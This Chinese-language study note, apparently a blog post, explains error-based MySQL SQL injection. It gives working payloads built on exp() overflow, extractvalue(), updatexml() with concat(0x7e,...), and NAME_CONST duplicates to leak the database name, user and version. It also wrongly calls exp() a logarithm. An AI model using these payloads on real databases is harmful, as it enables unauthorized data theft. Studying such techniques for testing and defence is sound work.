一、exp() 取反参数
该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()
就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0
这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)
因此可以使用 (exp(~(查询语句为)))
select exp(~(select*from(select database())x));
高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:
二、extractvalue() 两位参数
Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径
具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5
根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。
此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:
concat() :
select concat(‘大‘,‘小‘);
concat_ws():
select concat_ws(‘,‘,‘11‘,‘22‘,‘33‘); #第一个参数应该为连接符
select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换
三、updatexml() 三位参数
UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
使用该语句即可爆出当前数据库名:
select updatexml(‘1‘,concat(‘~‘,(select database())),‘1‘);
四、mysql重复属性
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
当有新的报错函数时将会继续更新!!!